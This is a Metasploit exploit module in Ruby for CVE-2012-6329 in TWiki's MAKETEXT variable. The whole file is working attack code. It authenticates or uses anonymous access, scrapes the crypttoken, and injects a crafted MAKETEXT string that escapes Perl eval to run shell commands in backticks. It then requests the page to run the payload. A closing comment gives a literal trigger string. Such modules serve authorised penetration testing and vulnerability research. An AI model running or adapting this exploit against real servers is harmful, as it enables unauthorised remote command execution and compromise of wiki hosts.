TWiki MAKETEXT Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TWiki MAKETEXT Remote Command Execution',  
'Description' => %q{  
This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a  
specially crafted MAKETEXT, a malicious user can execute shell commands since user  
input is passed to the Perl "eval" command without first being sanitized. The  
problem is caused by an underlying security issue in the CPAN:Locale::Maketext  
module. This works in TWiki sites that have user interface localization enabled  
(UserInterfaceInternationalisation variable set).  
  
If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also,  
if the 'TwikiPage' option isn't provided, the module will try to create a random  
page on the SandBox space. The modules has been tested successfully on  
TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.  
},  
'Author' =>  
[  
'George Clark', # original discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-6329' ],  
[ 'OSVDB', '88460' ],  
[ 'BID', '56950' ],  
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329' ]  
],  
'Privileged' => false, # web server context  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic ruby python bash telnet'  
}  
},  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Dec 15 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "TWiki base path", "/" ]),  
OptString.new('TwikiPage', [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),  
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),  
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])  
], self.class)  
end  
  
def do_login(username, password)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{@base}do/login",  
'vars_post' =>  
{  
'username' => username,  
'password' => password  
}  
})  
  
if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/  
return nil  
end  
  
session = $1  
return session  
end  
  
def inject_code(session, code)  
  
vprint_status("Retrieving the crypttoken...")  
  
res = send_request_cgi({  
'uri' => "#{@base}do/edit#{@page}",  
'cookie' => "TWIKISID=#{session}",  
'vars_get' =>  
{  
'nowysiwyg' => '1'  
}  
})  
  
if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/  
vprint_error("Error retrieving the crypttoken")  
return nil  
end  
  
crypttoken = $1  
vprint_good("crypttoken found: #{crypttoken}")  
  
if session.empty?  
if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/  
session = $1  
else  
vprint_error("Error using anonymous access")  
return nil  
end  
end  
  
vprint_status("Injecting the payload...")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{@base}do/save#{@page}",  
'cookie' => "TWIKISID=#{session}",  
'vars_post' =>  
{  
'crypttoken' => crypttoken,  
'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"  
}  
})  
  
if not res or res.code != 302 or res.headers['Location'] =~ /oops/ or res.headers['Location'] !~ /#{@page}/  
print_warning("Error injecting the payload")  
print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"  
return nil  
end  
  
location = URI(res.headers['Location']).path  
print_good("Payload injected on #{location}")  
  
return location  
end  
  
def check  
@base = target_uri.path  
@base << '/' if @base[-1, 1] != '/'  
  
res = send_request_cgi({  
'uri' => "#{@base}do/view/TWiki/WebHome"  
})  
  
if not res or res.code != 200  
return Exploit::CheckCode::Unknown  
end  
  
if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/  
version = $1  
print_status("Version found: #{version}")  
if version < "5.1.3"  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
return Exploit::CheckCode::Detected  
end  
  
  
def exploit  
  
# Init variables  
@page = ''  
  
if datastore['TwikiPage'] and not datastore['TwikiPage'].empty?  
@page << '/' if datastore['TwikiPage'][0] != '/'  
@page << datastore['TwikiPage']  
else  
@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"  
end  
  
@base = target_uri.path  
@base << '/' if @base[-1, 1] != '/'  
  
# Login if needed  
if (datastore['USERNAME'] and  
not datastore['USERNAME'].empty? and  
datastore['PASSWORD'] and  
not datastore['PASSWORD'].empty?)  
print_status("Trying login to get session ID...")  
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])  
else  
print_status("Using anonymous access...")  
session = ""  
end  
  
if not session  
fail_with(Exploit::Failure::Unknown, "Error getting a session ID")  
end  
  
# Inject payload  
print_status("Trying to inject the payload on #{@page}...")  
res = inject_code(session, payload.encoded)  
if not res  
fail_with(Exploit::Failure::Unknown, "Error injecting the payload")  
end  
  
# Execute payload  
print_status("Executing the payload through #{res}...")  
res = send_request_cgi({  
'uri' => res,  
'cookie' => "TWIKISID=#{session}"  
})  
if not res or res.code != 200 or res.body !~ /HASH/  
fail_with(Exploit::Failure::Unknown, "Error executing the payload")  
end  
  
print_good("Exploitation was successful")  
  
end  
  
end  
  
=begin  
  
* Trigger:  
  
%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%  
  
=end`